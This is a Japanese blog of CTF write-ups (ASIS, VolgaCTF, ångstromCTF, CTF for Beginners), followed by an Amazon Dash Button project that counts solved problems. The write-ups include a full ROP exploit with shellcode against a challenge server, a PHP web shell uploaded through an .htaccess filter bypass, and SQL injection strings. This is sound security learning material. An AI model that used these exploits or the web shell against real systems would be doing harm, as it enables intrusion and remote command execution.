The cow was a speedy bluejay singer.
A sheep is a small falcon catcher.
The cow was the fast cow singer.
The goat was a sluggish sheep catcher.
The goat is the slow robin catcher.

1行で7ワードあるのでそれぞれのワードを1ビットに置き換えれば1行で1文字になりそうという直感を信じたらうまくいった。actf{…}の形式であることはわかっているので、そこの部分のビットはすぐにわかる。残りの部分が問題だが、後半のencod1ngがちらっと見えたのと、割り当てるビットに規則性(hitter,runner,catcherなど同じカテゴリのものは同じビットになる)があったので結構すんなりといけた。

# solve.py
def decode(c):
    if c in dic:
        return dic[c]
    else:
        return "*"

dic = {}
dic["tiny"] = "0"
dic["dancer"] = "0"

dic["hitter"] = "1"
dic["speedy"] = "1"
dic["fast"] = "1"
dic["bluejay"] = "0"
dic["cow"] = "1"
dic["sluggish"] = "1"

dic["robin"] = "0"
dic["slow"] = "1"
dic["quick"] = "1"
dic["big"] = "0"
dic["small"] = "0"
dic["singer"] = "0"
dic["speaker"] = "0"
dic["The"] = "1"
dic["the"] = "1"
dic["A"] = "0"
dic["a"] = "0"
dic["was"] = "0"
dic["is"] = "1"
dic["horse"] = "1"
dic["huge"] = "0"
dic["falcon"] = "0"
dic["runner"] = "1"
dic["goat"] = "1"
dic["pitcher"] = "1"
dic["catcher"] = "1"
dic["pig"] = "1"
dic["sheep"] = "1"

ans = ""
for line in sys.stdin:
    x = "".join(map(decode,line.strip(" .\n").split(" ")))
    print x,
    if all([c != "*" for c in x]):
        print chr(int(x,2))
        ans += chr(int(x,2))
    else:
        print ""
        ans += "*"
print ans
ubuntu-xenial% ./solve.py < sentences.txt
1100001 a
1100011 c
1110100 t
1100110 f
1111011 {
1100111 g
1110010 r
0111000 8
1011111 _
1100101 e
1101110 n
1100011 c
1101111 o
1100100 d
0110001 1
1101110 n
1100111 g
1111101 }
actf{gr8_encod1ng}

感想

割と解けたと思ったが後から考えると簡単な問題だったのでpwn良問集などでもっと力を付けたい。

ASIS CTF Quals 2017 Writeup

https://asis-ctf.ir/challenges/
今回は一人で参加しました。
7問解き、763点で65位でした。
初めてpwnをコンテスト中に解いたので満足。
f:id:h_noson:20170409213619p:plain

Writeup

Welcome! (Trivia 1), CTF Survey (Trivia 9)

サービス問題

Start (Warm-up, Pwning 89)

こちらの資料がとても参考になりました。
https://speakerdeck.com/bata_24

バイナリが渡されます。文字列を入力してもなにも返ってきません。

ubuntu-xenial% ./Start_7712e67a188d9690eecbd0c937dfe77dd209f254
AAA
ubuntu-xenial%

objdumpしたらreadをしているだけでした。書き込み先が[rbp-0x10]なのに0x400バイト読みこんでいるので明らかにバッファオーバーフローします。

ubuntu-xenial% objdump -d -M intel Start_7712e67a188d9690eecbd0c937dfe77dd209f254
...
 400526:       55                      push   rbp
 400527:       48 89 e5                mov    rbp,rsp
 40052a:       48 83 ec 20             sub    rsp,0x20
 40052e:       89 7d ec                mov    DWORD PTR [rbp-0x14],edi
 400531:       48 89 75 e0             mov    QWORD PTR [rbp-0x20],rsi
 400535:       48 8d 45 f0             lea    rax,[rbp-0x10]
 400539:       ba 00 04 00 00          mov    edx,0x400
 40053e:       48 89 c6                mov    rsi,rax
 400541:       bf 00 00 00 00          mov    edi,0x0
 400546:       e8 b5 fe ff ff          call   400400 <read@plt>
 40054b:       b8 00 00 00 00          mov    eax,0x0
 400550:       c9                      leave
 400551:       c3                      ret
...

そしてcanary, NXが無効化されています。

ubuntu-xenial% checksec -f Start_7712e67a188d9690eecbd0c937dfe77dd209f254
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   No      01Start_7712e67a188d9690eecbd0c937dfe77dd209f254

ここで、スタックにシェルコードを入れて実行すると決め込んでしまいました。(方針ミスに気付くのに一日かかった…)
スタックはASLRによって実行ごとにアドレスが変わるのでシェルコードを仕込んでも簡単にはそこに飛ばすことができません。jmp rspなどのgadgetがあればROPによってスタック上のコードを実行することができますが今回はreadしかしていないとても短い実行ファイルなのでそのようなgadgetはありませんでした。
メモリマップを見ると.bssや.dataなどの0x601000から0x602000は書き込み可能、実行可能になっています。また、ASLRの影響を受けません。

gdb-peda$ vmmap
Start              End                Perm      Name
0x00400000         0x00401000         r-xp      /program/ctf/asisctf/2017/Start/Start_7712e67a188d9690eecbd0c937dfe77dd209f254
0x00600000         0x00601000         r-xp      /program/ctf/asisctf/2017/Start/Start_7712e67a188d9690eecbd0c937dfe77dd209f254
0x00601000         0x00602000         rwxp      /program/ctf/asisctf/2017/Start/Start_7712e67a188d9690eecbd0c937dfe77dd209f254
0x00007ffff7a0e000 0x00007ffff7bcd000 r-xp      /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 ---p      /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 r-xp      /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 rwxp      /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd3000 0x00007ffff7dd7000 rwxp      mapped
0x00007ffff7dd7000 0x00007ffff7dfd000 r-xp      /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7fe6000 0x00007ffff7fe9000 rwxp      mapped
0x00007ffff7ff6000 0x00007ffff7ff8000 rwxp      mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 r--p      [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp      [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r-xp      /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rwxp      /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffe000 0x00007ffff7fff000 rwxp      mapped
0x00007ffffffde000 0x00007ffffffff000 rwxp      [stack]
0xffffffffff600000 0xffffffffff601000 r-xp      [vsyscall]

ということでシェルコードをbssセクションに書き込んで実行させるスクリプトを書きました。
1回目のreadでROPのペイロードを渡して、2回目のreadでシェルコードを渡しています。

#!/usr/bin/env python2

from ppapwn import *
import sys
import time

if __name__ == '__main__':
    if len(sys.argv) == 1:
        s = Local("./Start_7712e67a188d9690eecbd0c937dfe77dd209f254")
    else:
        s = Remote("139.59.114.220",10001)

    shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
    read_plt = 0x400400
    shellcode_addr = 0x601050      # .bss
    pop_rsi = 0x4005c1             # pop rsi ; pop r15 ; ret

    payload = "A" * 0x18
    payload += p64(pop_rsi)
    payload += p64(shellcode_addr)
    payload += p64(0)              # dummy
    payload += p64(read_plt)
    payload += p64(shellcode_addr) # jump to shellcode
    print "[*] Sending payload"
    s.send(payload)
    time.sleep(0.1)

    print "[*] Sending shellcode"
    s.send(shellcode)
    s.interact()
ubuntu-xenial% ./exploit.py a
[*] Sending payload
[*] Sending shellcode
[*] Switching to interactive mode

$ ls
flag
start
$ cat flag
ASIS{y0_execstack_saves_my_l1f3}

フラグからしてスタックでもシェルコードを実行できるのだろうか。

A fine OTP server (Crypto 74)

暗号化されたワンタイムパスワードを復号する問題。

ubuntu-xenial% nc 66.172.27.77 35156
|-------------------------------------|
| Welcome to the S3cure OTP Generator |
|-------------------------------------|
| Guess the OTP and get the nice flag!|
| Options:
        [F]irst encrypted OTP
        [S]econd encrypted OTP
        [G]uess the OTP
        [P]ublic key
        [E]ncryption function
        [Q]uit
E
def gen_otps():
    template_phrase = 'Welcome, dear customer, the secret passphrase for today is: '

    OTP_1 = template_phrase + gen_passphrase(18)
    OTP_2 = template_phrase + gen_passphrase(18)

    otp_1 = bytes_to_long(OTP_1)
    otp_2 = bytes_to_long(OTP_2)

    nbit, e = 2048, 3
    privkey = RSA.generate(nbit, e = e)
    pubkey  = privkey.publickey().exportKey()
    n = getattr(privkey.key, 'n')

    r = otp_2 - otp_1
    if r < 0:
        r = -r
    IMP = n - r**(e**2)
    if IMP > 0:
        c_1 = pow(otp_1, e, n)
        c_2 = pow(otp_2, e, n)
    return pubkey, OTP_1[-18:], OTP_2[-18:], c_1, c_2

2つのパスワードを暗号化してるので暗号文の差を取って鍵を求めたりするのかと感じました。(罠でした)
暗号化する文字列は78文字であるため、三乗しても2048ビットのnを超えることはありません。よって三乗根を取ればパスワードが得られます。

#!/usr/bin/env python2
from ppapwn import *
from Crypto.Util.number import long_to_bytes

def cbrt(x):
    l = 0; r = 1<<78*8
    while (l + 1 < r):
        m = (l + r) // 2
        if m ** 3 <= x:
            l = m
        else:
            r = m
    return l

if __name__ == '__main__':
    s = Remote("66.172.27.77", 35156)
    s.recvuntil("[Q]uit\n")
    s.sendline("F")
    c_1 = int(s.recvline())
    s.sendline("S")
    c_2 = int(s.recvline())
    otp_1 = long_to_bytes(cbrt(c_1))
    otp_2 = long_to_bytes(cbrt(c_2))
    print otp_1
    print otp_2
    s.sendline("G")
    s.sendline(otp_1[-18:])
    s.recvline()
    print s.recvline()
    s.close()
ubuntu-xenial% ./solve.py
Welcome, dear customer, the secret passphrase for today is: QefgZREDBHTeKJIhwF
Welcome, dear customer, the secret passphrase for today is: TFPV8Z8VXzTaHzsG87
Woow, you got the flag :) ASIS{0f4ae19fefbb44b37f9012b561698d19}

Secured OTP server (Crypto 268)

ubuntu-xenial% nc 66.172.33.77 12431
|-------------------------------------|
| Welcome to the S3cure OTP Generator |
|-------------------------------------|
| Guess the OTP and get the nice flag!|
| Options:
        [F]irst encrypted OTP
        [S]econd encrypted OTP
        [G]uess the OTP
        [P]ublic key
        [E]ncryption function
        [Q]uit
E
def gen_otps():
    template_phrase = '*************** Welcome, dear customer, the secret passphrase for today is: '

    OTP_1 = template_phrase + gen_passphrase(18)
    OTP_2 = template_phrase + gen_passphrase(18)

    otp_1 = bytes_to_long(OTP_1)
    otp_2 = bytes_to_long(OTP_2)

    nbit, e = 2048, 3
    privkey = RSA.generate(nbit, e = e)
    pubkey  = privkey.publickey().exportKey()
    n = getattr(privkey.key, 'n')

    r = otp_2 - otp_1
    if r < 0:
        r = -r
    IMP = n - r**(e**2)
    if IMP > 0:
        c_1 = pow(otp_1, e, n)
        c_2 = pow(otp_2, e, n)
    return pubkey, OTP_1[-18:], OTP_2[-18:], c_1, c_2

今度は暗号化する文字列が長いため、三乗すると2048ビットを超えます。bytes_to_longで変換すると'*****...'の部分は上位ビットになります。したがって三乗したときにmod nから溢れる分はパスワードによらず同じになります。適当にパスワードを作って三乗し、nで割ることで溢れる分が計算できます。あとはその分を暗号文に足して三乗根を取ればパスワードがわかります。

#!/usr/bin/env python2
from ppapwn import *
from Crypto.Util.number import long_to_bytes, bytes_to_long
from Crypto.PublicKey import RSA
import string

def cbrt(x):
    l = 0; r = 1<<100*8
    while (l + 1 < r):
        m = (l + r) // 2
        if m ** 3 <= x:
            l = m
        else:
            r = m
    return l

if __name__ == '__main__':
    template = "*************** Welcome, dear customer, the secret passphrase for today is: " + "A" * 18

    s = Remote("66.172.33.77", 12431)
    s.recvuntil("[Q]uit\n")
    s.sendline("F")
    c_1 = int(s.recvline())
    s.sendline("S")
    c_2 = int(s.recvline())
    s.sendline("P")
    s.recvline()
    pubkey = RSA.importKey(s.recvuntil("-----END PUBLIC KEY-----\n"))
    n = getattr(pubkey, "n")
    k = (bytes_to_long(template) ** 3) // n
    otp_1 = long_to_bytes(cbrt(c_1+k*n))
    otp_2 = long_to_bytes(cbrt(c_2+k*n))
    print otp_1
    print otp_2
    s.sendline("G")
    s.sendline(otp_1[-18:])
    s.recvuntil(":) ")
    print s.recvline()
    s.close()
ubuntu-xenial% ./solve.py
*************** Welcome, dear customer, the secret passphrase for today is: kIL54hVQRZqCZ94953
*************** Welcome, dear customer, the secret passphrase for today is: tyTx8Lb5bmvMP8nRFt
ASIS{gj____Finally_y0u_have_found_This_is_Franklin-Reiter's_attack_CongratZ_ZZzZ!_!!!}

DLP (Crypto 158)

ubuntu-xenial% nc 146.185.143.84 28416
|-------------------------------------|
| Welcome to the DLP message Encryptor|
|-------------------------------------|
| Find the FLAG and get the points!!!!|
| Options:
|       [E]ncrypted FLAG
|       [P]ublic key
|       [C]ryptography function
|       [Q]uit
C
def encrypt(nbit, msg):
    msg = bytes_to_long(msg)
    p = getPrime(nbit)
    q = getPrime(nbit)
    n = p*q
    s = getPrime(4)
    enc = pow(n+1, msg, n**(s+1))
    return n, enc

メッセージを数値化したものをmとすると(n+1)^m\mod n^{s+1}を計算しています。つまり、{}_mC_sn^s+...+{}_mC_1n+{}_mC_0\mod n^{s+1}。まず、{}_mC_0は1とわかっているので1を引いておきます。{}_mC_sn^s+...+{}_mC_2n^2+{}_mC_1n\mod n^{s+1}。これをn^2でmodを取ればmnが残るので最後にnで割ってmがわかります。

#!/usr/bin/env python2

from ppapwn import *
from Crypto.Util.number import long_to_bytes

if __name__ == '__main__':
    s = Remote("146.185.143.84", 28416)
    s.sendline("E")
    s.recvuntil("enc = ")
    enc = int(s.recvline())
    s.sendline("P")
    s.recvuntil("n = ")
    n = int(s.recvline())
    print long_to_bytes((enc - 1) % (n*n) // n)
ubuntu-xenial% ./solve.py
ASIS{Congratz_You_are_Discrete_Logarithm_Problem_Solver!!!}

Piper TV

拡張子のないファイルが渡されます。

ubuntu-xenial% file PiperTV_e65d6f13bae89c187d2d719ee8bf35cfd9e96387
PiperTV_e65d6f13bae89c187d2d719ee8bf35cfd9e96387: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 262144)

tcpdumpで得たファイルのようなので拡張子をpcapに変えてwiresharkで開くとTCPがずっと続いています。
f:id:h_noson:20170409221529p:plain
一方的にデータを送っているようだったので「追跡->TCPストリーム->RAW形式->Save as...」でファイルに保存してみました。

ubuntu-xenial% file saved
saved: MPEG transport stream data

MPEGだったので拡張子を変えて再生したらフラグを得られました。

感想

ライブラリを整えたらだいぶ楽になった気がする。
多くの人が解いていたR Re Red ...とSecured Portalは解きたかった。

VolgaCTF 2017 Quals write up

shpxというチームを組ませていただいてから初めてのCTF。
700点を取り、117位という結果で終わりました。
個人では150+50+200(共同)点。全体的に全然わからなかったので精進が必要です。
f:id:h_noson:20170327225724p:plain

Write up

VC

A.pngとB.pngを重ねたら文字が見えたのでそれを読むだけでした。
f:id:h_noson:20170327214753p:plain
自分はこれを頑張って読みましたが、そのあとにチームの方がいい解法を教えてくれました。

composite -compose difference A.png B.png diff.png

f:id:h_noson:20170327225015p:plain

PyCrypto

実験してみると
flag:'AAAAAA',key:'ABCD' => '\x00\x03\x02\x05\x00\x03'
と暗号化されたので鍵をぐるぐる使いまわしている、flagとkeyをxorしていると予測しました。
これでxorかどうか確認できます。

#!/usr/bin/env python3
from struct import pack, unpack
from pycryptography import encrypt

if __name__ == '__main__':
    for x in range(256):
        for y in range(256):
            if x^y != unpack('B',encrypt(pack('B',x),pack('B',y)))[0]:
                print("No")
                exit(0)
print("Yes")

20bytesごとに同じ鍵が使われているので頻度をみて鍵を予測すればよさそうです。
英文はスペースの頻度が高いため、頻度が高いものをスペースと仮定して鍵を決めました。

#!/usr/bin/env python3
import string
from collections import Counter

if __name__ == '__main__':
    with open('flag.enc', 'rb') as fe:
        enc = fe.read()
        ans = [" "] * len(enc)
        for i in range(20):
            counter = Counter(enc[i::20])
            for m,_ in counter.most_common():
                key = m ^ 0x20
                ok = True
                for j in range(i,len(enc),20):
                    m = enc[j]^key
                    if chr(m) in string.printable:
                        ans[j] = chr(m)
                    else:
                        ok = False
                if ok:
                    break
print(''.join(ans))

Share Point

phpファイルなどはアップロードできません。画像はアップロードできるので画像からコードを実行できるようにすればよさそうです。
.htaccess

AddType application/x-httpd-php .jpg

と書いてアップロードすればjpgをphpとして実行できます。
あとはパラメータの値を実行するスクリプトを書いてcmd.jpgとしてアップロード。

<?php
    echo "<pre>";
    system($_GET['cmd']);
    echo "</pre>";
?>

f:id:h_noson:20170327223022p:plain
こんな感じでコマンドが実行できます。
コマンドを実行できるようになりましたが、フラグを見つけることができませんでした…のでここからはチームの方にやっていただきました。

cmd.jpg?cmd=find%20/%20-name%20*flag*

でflagの文字を含むファイルが列挙できるようです。
/opt/flag.txtにありました。

Share機能はなんだったんだろう…

CTF for ビギナーズ Writeup & 参加記

CTF for ビギナーズに参加してきました。
解けない問題も多かったのですが運よく優勝しました。


Tシャツと本をいただきました。感謝

Writeup

Misc 100 Welcome

問題文のflagそのまんま

Misc 200 CountUp Game

21を言ってはいけないので常に4の倍数を言うようにすれば勝てる。
一度ミスすると相手は4の倍数をずっと言ってくるのでそこからでも推測できる。

Misc 200 てけいさん for ビギナーズ

計算結果を送信しようとするとindex.phpにPOSTされるので送信先php_math.phpに変更してから送信する。ただ、100回やらないといけないのでスクリプトを組んでやるべき。自分はスクリプトが書けず、問題名通り手計算しました。つらかった。。
渡された環境でやるならF12押して変えたいところをダブルクリックすれば送信先を変更できる。

Web 100 Classical Injection

ユーザ名に「' or 1 -- 」と入れればOK。単純なSQL Injection

Web 100 May the extensions be with you.

問題を忘れましたがCookieのfalseをtrueに変えるだけだった気がします。

Web 200 もぐもぐ(・~・)

シングルクォーテーションを入れるとエラーを吐くのでSQL Injectionだと当たりをつける。「' union select 1,1,1,1 -- 」などとするとカラム数は4つだとわかる。あとは講義でやったようにテーブル名、カラム名を取得し、怪しげなsecret_umasugiテーブルを出力するとflagが得られる。

Forensics 100 みつけてみよう

pcapファイルをWiresharkで開くとHTTP requestが20個あるので、一つ一つ中身をみてflagがあるか確認する。右下のStreamの値をいじれば楽。「tcp matches "ctf4b{(.)*(.)}"」だと一発らしい。

Forensices 200 あけてみよう

pcapファイルをWiresharkで開きHTTPでfilterをかけるとzipファイルを受け取っていることがわかる。File->Export Objects->HTTP...->Saveでzipファイルを保存できる。中には2.pcapがあり、Wiresharkで開くとFTP通信を行っていて、secret.zipを受け取っている。FTP-DATAでfilterをかけてFollow->TCP Streamとするとファイルの中身が表示されるのでShow data asをRawにしてから保存。unzipするとflagが得られる。

Binary 100 HiddenFlag

stringsするだけ

strings bin100_1 | grep ctf4b

Binary 200 復習

講義のようにコードを順に追っていく。どういうコードだったかは忘れました。

Binary 200 Unused Function

objdumpするといかにもな部分がある。
f:id:h_noson:20170130213754p:plain
0x63=c,0x74=t,0x66=fなのでこれですね。vimで開けば矩形選択できるのでいらない部分をそぎ落として次のコードを実行すればflagが得られます。

#include <stdio.h>

int main(void) {
  int c;
  while (scanf("%x",&c) != EOF) {
    printf("%c",c);
  }
  return 0;
}

問題名通りにいくとIDAで開いて条件分岐を操作するのだろうか。

最後に

自分が解けなかった問題を解いてる人が何人もいたのでほんとに運がよかった。
頂いた本を読んで勉強しようと思います。

Amazon Dash ButtonでAC数をカウントする

巷で流行りのAmazon Dash Buttonで何かしようということで,競プロのAC数を数えてみたいと思います.

環境

ボタンが押されたことを検知

ボタンが押されたことを検知できないと何も始まらないのでまず検知を行う.
参考:Amazon Dash ButtonをただのIoTボタンとして使う - Qiita

  • Amazon Dash Buttonはボタンが押される度に,IPアドレスを取得するためDHCPサーバにリクエストを行っている
  • DHCPリクエストはブロードキャストで行われる
  • ほとんどのデバイスは,IPアドレスを受け取った後IPアドレスが重複していないか確認するため,ARPプローブを行う(これもブロードキャスト)

DHCPリクエストかARPプローブを監視すればボタンが押されたことを検知できる.
ほとんどの方がARPプローブの監視をしていたけど,自分の場合はARPプローブが行われずARPリクエストが2回行われていたため2回検知することを避けてDHCPリクエストを監視することにした.
scapyに関しては
Scapyで作る・解析するパケットUsage — Scapy v2.1.1-dev documentation
を参考にした.

DHCPリクエストはUDP port 67なので

sniff(filter="udp port 67", prn=lambda x: x.show())

を実行した状態でボタンを押すと以下のようにMACアドレスがわかる.

###[ Ethernet ]###
  dst= ff:ff:ff:ff:ff:ff
  src= xx:xx:xx:xx:xx:xx
  type= 0x800
###[ IP ]###
....

これでMACアドレスによるfilterも行える.

sniff(filter="ether src xx:xx:xx:xx:xx:xx and udp port 67", prn=count)

パケットを受け取った際にprnに設定した関数が呼ばれるので,そこでカウントが行えるようにした.このプログラムではjsonを読み込んでその日のAC数をインクリメントしている.

from scapy.all import sniff
import json
import time
from datetime import date,timedelta,datetime

def count(_):
    try:
        with open("ACcount.json", "r") as fp:
            data = json.load(fp)
    except IOError:
        data = json.loads('{}');

    d = date.today()
    year = str(d.year)
    month = str(d.month)
    day = str(d.day)
    if not year in data:
        data.update({year:{month:{day:0}}})
    elif not month in data[year]:
        data[year].update({month:{day:0}})
    elif not day in data[year][month]:
        data[year][month].update({day:0})
    data[year][month][day] += 1

    print "AC!" + " (" + str(time.ctime()) + ")"
    print "today's AC: " + str(data[year][month][day])
    with open("ACcount.json", "w") as fp:
        json.dump(data, fp)

sniff(filter="ether src xx:xx:xx:xx:xx:xx and udp port 67", prn=count)

これでAC数を数えることができるようになった.

数えただけだとつまらないので一日のAC数をtweetさせてみようと思う.先ほど作ったjsonファイルを読み込んでその内容を23:59にtweetするように調整した.

from requests_oauthlib import OAuth1Session
from datetime import date,timedelta,datetime
import json
import time
import sched

CK = 'XXXXXXXXXXXXXXXXXXXXXXXXX'                          # Consumer Key
CS = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' # Consumer Secret
AT = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' # Access Token
AS = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'      # Access Token Secret
twitter = OAuth1Session(CK,CS,AT,AS)

def get_msg_for_day(data):
    d = date.today()
    year = str(d.year)
    month = str(d.month)
    day = str(d.day)
    if year in data and month in data[year] and day in data[year][month]:
        return u"今日のAC数: " + str(data[year][month][day])
    else:
        return ""

def get_msg_for_month(data):
    d = date.today()
    nd = date.today() + timedelta(days=1)
    if d.month == nd.month: return ""
    year = str(d.year)
    month = str(d.month)
    if year in data and month in data[year]:
        sm = 0
        for day in data[year][month]:
            sm += data[year][month][day]
        return u"今月のAC数: " + str(sm)
    else:
        return ""

def get_msg_for_year(data):
    d = date.today()
    nd = date.today() + timedelta(days=1)
    if d.year == nd.year: return ""
    year = str(d.year)
    if year in data:
        sm = 0
        for month in data[year]:
            for day in data[year][month]:
                sm += data[year][month][day]
        return u"今年のAC数: " + str(sm)
    else:
        return ""

def get_msg():
    try:
        with open("ACcount.json","r") as fp:
            data = json.load(fp)
    except IOError:
        data = json.loads("{}")
    msgs = []
    msgs.append(get_msg_for_day(data))
    msgs.append(get_msg_for_month(data))
    msgs.append(get_msg_for_year(data))
    return '\n'.join(filter(lambda s: s != "",msgs))

def tweet():
    message = get_msg()
    if message == "":
        print("no AC")
    else:
        print("Sending message...")
        print(message)
        url = "https://api.twitter.com/1.1/statuses/update.json"
        params = {'status': message}
        res = twitter.post(url, params = params)
        if res.status_code == 200:
            print("OK")
        else:
            print("Error: %d" % res.status_code)
    add_event()

def add_event():
    d = datetime.today()
    nextd = datetime(d.year,d.month,d.day) + timedelta(days=1) - timedelta(seconds=30)
    print("supposed to tweet at " + str(nextd))
    s.enter((nextd-d).total_seconds(),1,tweet,())

print("Twitter client is running")
s = sched.scheduler(time.time,time.sleep)
add_event()
s.run()

面倒な点

  • ACする度にボタンを押さないといけない
  • tweetするときにノートPCを開いておく必要がある(サーバがほしい)

AC数をカウントすることで今後のモチベーションにつながることを期待してる